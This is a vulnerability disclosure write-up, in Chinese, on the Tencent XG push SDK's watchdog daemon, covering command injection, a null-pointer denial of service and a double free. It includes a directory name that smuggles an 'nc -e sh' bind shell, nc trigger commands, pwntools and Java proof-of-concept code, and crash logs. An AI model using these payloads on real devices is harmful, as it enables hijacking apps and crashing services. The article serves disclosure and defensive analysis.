來源:http://www.ms509.com/?p=474

作者:小荷才露尖尖角@MS509Team

0x00 簡介

XG SDK是一個流行的Android app推送SDK,有不少流行Android app均在使用,本文分析的版本主要針對100001_work_weixin_1.0.0.apk所使用的版本。

漏洞最初在2016年4月份的時候提交給了某云網站,廠商已經確認,但由于網站持續“升級”的緣故,不太可能公開細節了。后續漏洞也已經提交給了TSRC,時至現在,相關漏洞均已經完全修復,漏洞已經不影響使用該SDK的app了,因此本文決定對相關技術細節予以分享,并補充有關該漏洞后續的一些研究。

0x01 漏洞分析

XG SDK會周期性地啟動一個libtpnsWatchdog.so的可執行文件,作為看門狗保活應用,并隨機在55000~56000端口監聽任意地址。

 public static int getRandomPort() {
??????? return XGWatchdog.getRandomInt(1000) + 55000;
??? }

在我們實驗手機上的監聽端口為55362,啟動進程為com.tencent.wework lib目錄下的libtpnsWatchdog.so

port

ps

經過逆向分析,可發現這個開放端口支持一系列的文本命令,包括:

  • “ver:”,獲取版本號
  • “debug:1”,打開調試
  • “xgapplist:”,獲取或設置使用XG sdk的app
  • “tme:xxxx”,設置周期性啟動服務的等待時間
  • ”exit2:”,退出

例如,發送debug:1,可獲得當前手機上使用XG的app列表及當前啟動服務的等待時間等信息,可見,手機上有四個app使用了該推送sdk。

echo -n “debug:1” |nc 192.168.8.187 55362

list

當發送xgapplist:xxx,則可以設置當前使用XG的app。其中xxx的形式為 ,;,

接下來會通過fopen打開/data/data//lib目錄來判斷指定packagename的目錄是否存在,如果存在,則會在后續使用該packagename,否則提示找不到該package。

checkdir

然后,程序會調用system通過am命令啟動對應包內的XG組件,這里就使用了上面檢查過的packagename.

system

注意,上述兩個system函數中的參數沒有進行任何過濾。那么,我們結合上述兩張圖來看,如果惡意app滿足

  1. 能夠設置一個存在且被XG Sdk可以訪問的目錄,
  2. 目錄名中嵌入執行的代碼

那么就可以實現命令注入。對于條件1,可以通過../../../../路徑穿越的形式跳轉到惡意app可控的目錄;而對于條件2,則可以利用shell特性,在可控目錄下建立猥瑣的“ || #”目錄實現。

0x02 漏洞利用

(1)模擬惡意app在/sdcard目錄建立一個特殊(猥瑣)的目錄名,除了“/“字符外,其他字符均可用。

evildir

于是我們有了了” && nc -ll -p 6666 -e sh #”的目錄,并在目錄下存在子目錄lib

(2)通過xgapplist命令設置推送app

如圖,發送命令,

echo -n "xgapplist:com.tencent.wework/../../../../../../sdcard/ && nc -ll -p 6666 -e sh #,2100078991;" | nc -vv 192.168.8.187 55362

觀察logcat可以發現設置成功

(3)通過tme命令,使am命令周期性進行,進而觸發后面的system函數,執行我們的反彈shell命令

echo -n “tme:12345” | nc -v 192.168.8.187 55362

稍等片刻,觀察logcat的打印信息后,可以嘗試連接shell,成功連接

nc

u0_a113用戶正好就是com.tencent.wework workchat

下面就可以以com.tencent.wework的權限做任何事情了,比如訪問私有目錄、打開保護的activity、發廣播等等。

0x03 漏洞是否能夠遠程

因為當時漏洞取名帶有“遠程”二字不夠嚴謹,引發了廠商的爭議。的確,從這個漏洞的成因來看,主要還是本地惡意app通過污染目錄名,結合XG開放的端口,完成本地提權。但經瘦蛟舞的指點,可以考慮向受害者發送包含污染目錄名的zip包(或者通過瀏覽器下載解壓至/sdcard),然后結合XG監聽端口的地址為任意地址,遠程傳入命令,進而實現遠程命令執行,這種遠程攻擊相對難度較大,因為開放的端口為隨機端口,攻擊者也需要社工欺騙受害者接收zip包.

0x04 空指針解引用遠程拒絕服務

當向XG監聽端口發送xgapplist命令時,libtpnsWatchdog.so對后面的packagename和accid進行處理,但并沒有檢查“,”或“;“分割的字符串為空的情況,導致后面atoll函數去訪問0地址的內存,造成空指針解引用crash。見如下代碼:

v1 = a1;
  if ( a1 )
  {
    j_j_memset(xgapplist, 0, 0x200u);
    first_app = j_j_strtok(v1, ";");
    v3 = 0;
    v2 = first_app;
    while ( 1 )
    {
      len_of_applist = v3;
      if ( !v2 )
        break;
      v5 = j_j_strlen(v2);
      v6 = v5 + 1;
      v7 = (void *)j_operator new[](v5 + 1);
      xgapplist[len_of_applist] = v7;
      j_j_memcpy(v7, v2, v6);
      v2 = j_j_strtok(0, ";");
      v3 = len_of_applist + 1;
    }
    for ( i = 0; i < len_of_applist; ++i )
    {
      v8 = (char *)xgapplist[i];
      if ( v8 )
      {
        package = j_j_strtok(v8, ",");
        accid = j_j_strtok(0, ",");
        v11 = accid;
        v12 = j_j_atoll(accid); //null pointer dereference crash !!!!
        v27 = v12;

向55362端口發送一個最簡單的數據包,

echo -n "xgapplist:A" | nc -v 192.168.8.169 55362

使用logcat可觀察到Oops:

I/DEBUG   (  243): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG   (  243): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
I/DEBUG   (  243): Revision: '11'
I/DEBUG   (  243): pid: 11774, tid: 11774, name: xg_watchdog  >>> /data/data/com.tencent.wework/lib/libtpnsWatchdog.so <<<
I/DEBUG   (  243): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 00000000
I/DEBUG   (  243):     r0 4008a2d8  r1 40083d28  r2 ffffff78  r3 00000000
I/DEBUG   (  243):     r4 400165c6  r5 00000002  r6 0000000a  r7 00000000
I/DEBUG   (  243):     r8 400120d9  r9 00000000  sl 00000000  fp bed838ec
I/DEBUG   (  243):     ip 40018f68  sp bed7f6e8  lr 400125e5  pc 4006aab0  cpsr 000f0030
I/DEBUG   (  243):     d0  0000000000000000  d1  0000000000000000
I/DEBUG   (  243):     d2  0000000000000000  d3  0000000000000000
I/DEBUG   (  243):     d4  0000000000000000  d5  0000000000000000
I/DEBUG   (  243):     d6  0000000000000000  d7  0000000000000000
I/DEBUG   (  243):     d8  0000000000000000  d9  0000000000000000
I/DEBUG   (  243):     d10 0000000000000000  d11 0000000000000000
I/DEBUG   (  243):     d12 0000000000000000  d13 0000000000000000
I/DEBUG   (  243):     d14 0000000000000000  d15 0000000000000000
I/DEBUG   (  243):     d16 41db6820b9bcac08  d17 3f50624dd2f1a9fc
I/DEBUG   (  243):     d18 419908a090000000  d19 0000000000000000
I/DEBUG   (  243):     d20 0000000000000000  d21 0000000000000000
I/DEBUG   (  243):     d22 0000000000000000  d23 0000000000000000
I/DEBUG   (  243):     d24 0000000000000000  d25 0000000000000000
I/DEBUG   (  243):     d26 0000000000000000  d27 0000000000000000
I/DEBUG   (  243):     d28 0000000000000000  d29 0000000000000000
I/DEBUG   (  243):     d30 0000000000000000  d31 0000000000000000
I/DEBUG   (  243):     scr 00000010
I/DEBUG   (  243):
I/DEBUG   (  243): backtrace:
I/DEBUG   (  243):     #00  pc 0002aab0  /system/lib/libc.so (strtoimax+31)
I/DEBUG   (  243):     #01  pc 000015e1  /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG   (  243):     #02  pc 00002787  /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG   (  243):     #03  pc 0000124f  /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG   (  243):     #04  pc 0000e34b  /system/lib/libc.so (__libc_init+50)
I/DEBUG   (  243):     #05  pc 00001390  /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG   (  243):

0x05 double free內存破壞

仍然觀察xgapplist命令,程序接收socket端口傳入的命令xgapplist:<packagename>,<accid>;<packgename2>,<accid2>;…;<packagenamen>,<accidn>; 時,程序會對上述命令進行解析,分配xgappinfo對象,并依次將不重復的xgappinfo(使用XG SDK的app的信息)對象存入全局數組xgappinfo_list

xgappinfo占用16字節,為如下結構體

struct xgappinfo {
    long accid,
    char* packgename,
    int  status
};

如圖

再來看下下面這段程序邏輯,

void __fastcall sub_40056574(char *a1)
{
  ...
  int i; // [sp+24h] [bp-2Ch]@4
  unsigned __int64 v27; // [sp+28h] [bp-28h]@8

  v1 = a1;
  j_j_memset(dword_40060028, 0, 0x200u);
  v2 = j_j_strtok(v1, ";");
  v3 = 0;
  v4 = v2;
  while ( 1 )
  {
    v25 = v3;
    if ( !v4 )
      break;
    v5 = j_j_strlen(v4);
    v6 = v5 + 1;
    v7 = (void *)j_operator new[](v5 + 1);
    dword_40060028[v25] = v7;
    j_j_memcpy(v7, v4, v6);
    v4 = j_j_strtok(0, ";");
    v3 = v25 + 1;
  }
  for ( i = 0; i < v25; ++i )
  {
    v8 = (char *)dword_40060028[i];
    if ( sub_4005651C(dword_40060028[i]) )
    {
      v9 = j_j_strtok(v8, ",");
      v10 = j_j_strtok(0, ",");
      v11 = v10;
      v12 = j_j_atoll(v10);
      v27 = v12;
      if ( v12 <= 0x3B9AC9FF && dword_4005D018 )
      {
        v23 = HIDWORD(v12);
        j_j___android_log_print(6, "xguardian", "error accessid:%llu");
      }
      if ( v9 && v11 )
      {
        v13 = &dword_4005E028;                  // xgapp_info結構體存儲的起始地址
        for ( j = &dword_4005E028; ; j = v15 )
        {
          v14 = (const char *)v13[2];
          v15 = v13;
          if ( !v14 )
            break;
          if ( !j_j_strcmp(v9, v14) )
          {
            *v13 = v27;
            v13[1] = HIDWORD(v27);
            v16 = 1;
            *((_BYTE *)v15 + 12) = 1;
            v15 = j;
            goto LABEL_22;
          }
          if ( *((_BYTE *)v13 + 12) )
            v15 = j;
          v13 += 4;
          if ( v13 == dword_40060028 )
            break;                              // 最多只能存儲512個對象,每個對象占用16字節
        }
        v16 = 0;
LABEL_22:
        if ( dword_4005D018 )
          j_j___android_log_print(4, "xguardian", "found %d, pkgName:%s,accid:%s", v16, v9, v11);
        if ( !v16 && sub_40055B98(v9) )
        {
          if ( dword_4005D018 )
            j_j___android_log_print(4, "xguardian", "try to add to the unstall list");
          v17 = j_j_strlen(v9) + 1;
          v18 = (void *)v15[2];
          if ( v18 )
          {
j_j__ZdaPv:
            operator delete[](v18);             
/ *
  * 這段存在問題,v18沒有置為null。導致當循環到512個對象的時候,由于前面循環的限制,v18    還是指向第512個對象中在堆上分配的packagename的地址,此時v18會被delete。

當512以上的多個命令數據達到,需要有多個packagename需要添加時,由于并發處理,程序會在返回之前再次運行到此處,v18還是指向同一地址,由于v18已被delete,此時會再次delete一下,從而導致delete出錯
 *
 */
            return;
          }
          v19 = (void *)j_operator new[](v17);
          v15[2] = (int)v19;
          j_j_memset(v19, 0, v17);
          j_j_memcpy((void *)v15[2], v9, v17);
          *(_BYTE *)(v15[2] + v17) = 0;
          v20 = j_j_atoll(v11);
          *((_BYTE *)v15 + 12) = 1;
          *(_QWORD *)v15 = v20;
          if ( dword_4005D018 )
            j_j___android_log_print(4, "xguardian", "add new unInfo pkgName:%s,accid:%llu", v15[2], v20);
        }
      }
    }
    v18 = (void *)dword_40060028[i];
    if ( v18 )
      goto j_j__ZdaPv;
  }
…

對通過socket端口傳入的xgapplist命令的解析主要包括以下幾個步驟:

  • 解析分號的分隔,獲得每個xg app的信息;
  • 解析逗號的分隔,獲得xg app packagename和accid;
  • 從0x4005E028開始,依次存儲解析xgappinfo得到的結果,分別為accid、packagename、status,從而構成xgappinfo_list;
  • 當再次傳入xgapplist命令時,會將傳入的packagename與已存儲的packagename比較。如果不同,說明是新的packagename,則會在堆上分配地址存儲,并將這個堆上分配的地址添加到xgappinfo_list中。如果相同,不進行添加。
  • 最多只能添加到0x40060028這個地址,到這個地址會跳出循環,也就是最多只能添加(0x40060028-0x4005E028)/16=512個xgappinfo結構體

注意下面這段代碼

if ( v18 )
          {
j_j__ZdaPv:
            operator delete[](v18);
}

v18為下一個未分配區域的packagename,XG SDK認為如果不為空,則表明已在堆上分配,因此需要delete。然而測試表明,當添加xgappinfo超過512,為518、519等多個時(注意:并非超過1個),可以觸發堆內存破壞。

POC:

from pwn import *
import sys

def open_connection():
    xg_daemon_server = "192.168.8.158"
    xg_listen_port = 55362
    conn = remote(xg_daemon_server, xg_listen_port)
    return conn

def send_debug():
    conn = open_connection()
    packet_debug = "debug:1\n"
    conn.send(packet_debug)
    print "S:"+packet_debug
    conn.close()
    exit(0)

def send_heap_overflow(n):
    conn = open_connection()
    packet_bound_overflow = "xgapplist:../../../"
    for i in range(n):
        packet_bound_overflow +="/"
    packet_bound_overflow +="sdcard/, 2100178385\n"

    print "S: "+packet_bound_overflow
    print "%d bytes" % len(packet_bound_overflow)
    conn.send(packet_bound_overflow)
    conn.close()

def send_normal_packet(packet):
    conn = open_connection()
    conn.send(packet)
    print "S: "+packet
    if (packet == "ver:\n"):
        print "R: "+ conn.recv()
    conn.close()
    exit(0)

def main():
    if (len(sys.argv) != 2):
        print """
           %s <packet_type>
           1: send debug packet
           3: send heap overflow packet
           4: send normal ver: packet
           5: send normal tme:12345 packet
           6: send normal xgapplist: packet
        """ % sys.argv[0]
        exit(-1)
    if(sys.argv[1] == "1"):
        send_debug()
    elif(sys.argv[1] == "3"):
        for i in range(518):  //notice!
            send_heap_overflow(i)
            print i
        exit(0)
    elif(sys.argv[1] == "4"):
        send_normal_packet("ver:\n")
    elif(sys.argv[1] == "5"):
        send_normal_packet("tme:12345\n")
    elif(sys.argv[1] == "6"):
        send_normal_packet("xgapplist:\n")
    else:
        print "unkown packet type! "


if __name__ == "__main__":
    main()

Logcat

I/TpnsWatchdog(  495): server get unstall appinfo:com.tencent.wework,2100178384;../../../././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
I/TpnsWatchdog(  495): found 0, pkgName:com.tencent.wework,accid:2100178384
I/TpnsWatchdog(  495): try to add to the unstall list
F/libc    (  495): invalid address or address of corrupt block 0x4125f850 passed to dlfree
F/libc    (  495): Fatal signal 11 (SIGSEGV) at 0xdeadbaad (code=1), thread 495 (xg_watchdog)
I/DEBUG   (  241): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG   (  241): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
I/DEBUG   (  241): Revision: '11'
I/DEBUG   (  241): pid: 495, tid: 495, name: xg_watchdog  >>> /data/data/com.tencent.wework/lib/libtpnsWatchdog.so <<<
I/DEBUG   (  241): AM write failure (32 / Broken pipe)
I/DEBUG   (  241): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr deadbaad
I/DEBUG   (  241): Abort message: 'invalid address or address of corrupt block 0x4125f850 passed to dlfree'
W/NativeCrashListener(  960): Couldn't find ProcessRecord for pid 495
I/DEBUG   (  241):     r0 00000000  r1 40139c5e  r2 deadbaad  r3 4013d7a0
I/DEBUG   (  241):     r4 4125f850  r5 40148180  r6 4121c000  r7 4125f858
I/DEBUG   (  241):     r8 400cc0d9  r9 00000000  sl 00000000  fp bee458ec
I/DEBUG   (  241):     ip 00000001  sp bee41710  lr 4010b6cb  pc 4010b6cc  cpsr 600f0030
I/DEBUG   (  241):     d0  2064657373617064  d1  6120726f2073736c
I/DEBUG   (  241):     d2  6f20737365726466  d3  707572726f632072
I/DEBUG   (  241):     d4  2e2f2e2f2e2f2e2f  d5  2e2f2e2f2e2f2e2f
I/DEBUG   (  241):     d6  2e2f2e2f2e2f2e2f  d7  2e2f2e2f2e2f2e2f
I/DEBUG   (  241):     d8  0000000000000000  d9  0000000000000000
I/DEBUG   (  241):     d10 0000000000000000  d11 0000000000000000
I/DEBUG   (  241):     d12 0000000000000000  d13 0000000000000000
I/DEBUG   (  241):     d14 0000000000000000  d15 0000000000000000
I/DEBUG   (  241):     d16 41c3183f70f5e354  d17 3f50624dd2f1a9fc
I/DEBUG   (  241):     d18 41c05bc240800000  d19 0000000000000000
I/DEBUG   (  241):     d20 0000000000000000  d21 0000000000000000
I/DEBUG   (  241):     d22 0000000000000000  d23 0000000000000000
I/DEBUG   (  241):     d24 0000000000000000  d25 0000000000000000
I/DEBUG   (  241):     d26 0000000000000000  d27 0000000000000000
I/DEBUG   (  241):     d28 0000000000000000  d29 0000000000000000
I/DEBUG   (  241):     d30 0000000000000000  d31 0000000000000000
I/DEBUG   (  241):     scr 00000010
I/DEBUG   (  241):
I/DEBUG   (  241): backtrace:
I/DEBUG   (  241):     #00  pc 000116cc  /system/lib/libc.so (dlfree+1191)
I/DEBUG   (  241):     #01  pc 0000dc0b  /system/lib/libc.so (free+10)
I/DEBUG   (  241):     #02  pc 000016b5  /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG   (  241):     #03  pc 00002787  /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG   (  241):     #04  pc 0000124f  /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG   (  241):     #05  pc 0000e34b  /system/lib/libc.so (__libc_init+50)
I/DEBUG   (  241):     #06  pc 00001390  /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I

為什么513、514不能觸發呢?這個問題一直沒有分析得很清楚,因此也沒有選擇提交,直至廠商對前面兩個漏洞進行修復,再次復現這個漏洞的難度加大。

再次觀察漏洞的觸發位置,

if ( v18 )
          {
j_j__ZdaPv:
            operator delete[](v18);
}

可以發現v18 被delete后并沒有置為null,那么有沒有可能v18會被delete多次呢?作為socket服務daemon,程序使用了epoll系統調用,因此可以猜想這是并發處理的原因。

在沒有并發的情況下依次傳入要添加的xgappinfo,在超過512個xgappinfo時,循環直接跳出,不會嘗試添加這個xgappinfo,不會觸及到下面delete所在的分支,這也是很長時間我通過調試很難復現該漏洞的原因。但如果存在并發,特別是在即將超過512個xgappinfo時,又傳入了多個要添加的xgappinfo,那么由于并發處理,程序會同時嘗試添加多個xgappinfo且不會認為超過了512個xgappinfo,此時v18均指向同一地址(即第512個對象中在堆上分配的packagename的地址),那么在v18被delete一次的情況下,緊接著會再次delete一下,從而導致delete出錯。

0x06 后續

騰訊很快對命令注入和空指針解引用引發的遠程拒絕服務漏洞進行了修復,主要修復點包括:

  • Socket端口監聽任意地址改為監聽本地地址。
  • 對Socket端口傳入的命令進行了加密。
  • 對傳入xgapplist中的packagename進行了過濾,特別是過濾了“/”字符,防止目錄穿越。

這些防御措施導致我很難再復現最后一個堆內存破壞漏洞了,但通過深入分析,我們仍然可以通過

  1. 編寫手機上運行的本地代碼
  2. 添加手機上已存在的packagename,要超過512個
  3. 破解加密算法

來予以一一破解。首先,在手機上安裝512個packganame(Oh my god! ),這個可以通過腳本解決。

#!/bin/bash

# Generate 512 apks, Build and Install
CURDIR=$(pwd)
for i in $(seq 512)
do
    cd $CURDIR
    DIR="HelloWorld"$i
    PACKAGE="com.ms509.helloworld"$i
    UNSIGNED_APK=$DIR"-release-unsigned.apk"
    SIGNED_APK=$i".apk"
    android create project -n $DIR -t 13 -p $DIR -k $PACKAGE -a helloworld
    cd $CURDIR"/"$DIR
    ant release
    cd $CURDIR"/"$DIR"/bin"
# sign apk
    signapk.sh $UNSIGNED_APK $SIGNED_APK
    adb install $SIGNED_APK
done

其次,破解加密算法可以直接調用程序使用的加解密庫,而不必真的破解。最后的POC關鍵代碼如下,注意,我們在快超過512時sleep了一下,使XG SDK的處理能力跟上,然后后面再傳入多個xgappinfo,這樣有更大的幾率觸發并發。

directSendContent("debug:1");
directSendContent("ver:");
Log.d("testXG", "[+] Adding "+Integer.toString(m_appNameList.size()) + "fake xg apps");
int i = 0;
for (String xgapp:m_appNameList) {
    if ((i++) &gt; 530)
        break;
    String cmd = "xgapplist:" + xgapp + "," +
            Integer.toString((int)(Math.random()*1000000)) + ";";
    Log.d("testXG", "[+] " + Integer.toString(i) + " Sending command: " + cmd);
    if (i == 510) {
        try {
            sleep(1000);
        } catch (InterruptedException e){

        }
    }
    directSendContent(cmd);

Logcat:

I/xguardian(19448): scanAppStatus node:508, pkg:heenstudy.com.sniffclipboard, accid:917429, status:1
I/xguardian(19448): scanAppStatus node:509, pkg:com.estrongs.android.taskmanager, accid:230582, status:1
I/xguardian(19448): scanAppStatus node:510, pkg:com.ilegendsoft.mercury, accid:995063, status:1
I/xguardian(19448): scanAppStatus node:511, pkg:fq.router2, accid:619048, status:1
I/xguardian(19448): xg app list size total:512, xgAppsCacheCount:512, xgAppsCacheActivityStatusCount:512
I/xguardian(19448): countTimeout=0, wait_time=310000, nfds=1, xgAppsCacheCount=512
I/xguardian(19448): server accept client 2, 127.0.0.1
I/xguardian(19448): countTimeout=0, wait_time=310000, nfds=1, xgAppsCacheCount=512
I/xguardian(19448): server decrpty receive from client: 42 : xgapplist:easyre.sjl.gossip.easyre,512970;
I/xguardian(19448): server get unstall appinfo:easyre.sjl.gossip.easyre,512970;
E/xguardian(19448): error accessid:512970
I/xguardian(19448): found 0, pkgName:easyre.sjl.gossip.easyre,accid:512970
I/xguardian(19448): try to add to the unstall list
E/testXG  (10149): [+] response: -1
F/libc    (19448): invalid address or address of corrupt block 0x401120c8 passed to dlfree
F/libc    (19448): Fatal signal 11 (SIGSEGV) at 0xdeadbaad (code=1), thread 19448 (xg_watchdog)
I/DEBUG   (  242): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG   (  242): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
I/DEBUG   (  242): Revision: '11'
I/DEBUG   (  242): pid: 19448, tid: 19448, name: xg_watchdog  >>> /data/data/com.qufenqi.android.quwallet/lib/libxguardian.so <<<
I/DEBUG   (  242): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr deadbaad
I/DEBUG   (  242): AM write failure (32 / Broken pipe)
I/DEBUG   (  242): Abort message: 'invalid address or address of corrupt block 0x401120c8 passed to dlfree'
I/DEBUG   (  242):     r0 00000000  r1 400b5c5e  r2 deadbaad  r3 400b97a0
I/DEBUG   (  242):     r4 401120c8  r5 400c4180  r6 4010e000  r7 401120d0
I/DEBUG   (  242):     r8 40047221  r9 00000000  sl 00000000  fp bec758dc
I/DEBUG   (  242):     ip 00000001  sp bec6f6f8  lr 400876cb  pc 400876cc  cpsr 600f0030
I/DEBUG   (  242):     d0  2064657373617064  d1  6f2073736572646c
I/DEBUG   (  242):     d2  707572726f632066  d3  206b636f6c622072
I/DEBUG   (  242):     d4  0000000000000000  d5  0000000000000000
I/DEBUG   (  242):     d6  0000000000000000  d7  0000000000000000
I/DEBUG   (  242):     d8  0000000000000000  d9  0000000000000000
I/DEBUG   (  242):     d10 0000000000000000  d11 0000000000000000
I/DEBUG   (  242):     d12 0000000000000000  d13 0000000000000000
I/DEBUG   (  242):     d14 0000000000000000  d15 0000000000000000
I/DEBUG   (  242):     d16 41c9ef5dd3bd0e56  d17 3f50624dd2f1a9fc
I/DEBUG   (  242):     d18 41ba01d435000000  d19 0000000000000000
I/DEBUG   (  242):     d20 0000000000000000  d21 0000000000000000
I/DEBUG   (  242):     d22 0000000000000000  d23 0000000000000000
I/DEBUG   (  242):     d24 0000000000000000  d25 0000000000000000
I/DEBUG   (  242):     d26 0000000000000000  d27 0000000000000000
I/DEBUG   (  242):     d28 0000000000000000  d29 0000000000000000
I/DEBUG   (  242):     d30 0000000000000000  d31 0000000000000000
I/DEBUG   (  242):     scr 00000010
I/DEBUG   (  242):
I/DEBUG   (  242): backtrace:
I/DEBUG   (  242):     #00  pc 000116cc  /system/lib/libc.so (dlfree+1191)
I/DEBUG   (  242):     #01  pc 0000dc0b  /system/lib/libc.so (free+10)
I/DEBUG   (  242):     #02  pc 000026e7  /data/app-lib/com.qufenqi.android.quwallet-2/libxguardian.so
I/DEBUG   (  242):     #03  pc 00002ff7  /data/app-lib/com.qufenqi.android.quwallet-2/libxguardian.so
I/DEBUG   (  242):     #04  pc 000013b1  /data/app-lib/com.qufenqi.android.quwallet-2/libxguardian.so
I/DEBUG   (  242):     #05  pc 0000e34b  /system/lib/libc.so (__libc_init+50)
I/DEBUG   (  242):     #06  pc 000014fc  /data/app-lib/com.qufenqi.android.quwallet-2/libxguar

當然,這個double free漏洞無法利用,因為堆中的內容只能為手機上安裝的packagename,所以盡管克服重重困難破解了加密算法、安裝了512個packagename,仍然只是一個local DoS。TSRC在最先評級認為是代碼執行,后面也更正為了local DoS。

最后,總結下漏洞的成因,XG SDK以檢查/data/data//lib的存在,來判斷是否為使用XG sdk的app,這種方式不夠嚴謹。依然有可能被惡意app利用來保活( 因為XG sdk后續要啟動app的服務),占用系統資源或者妨礙正常使用推送服務的app。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/132/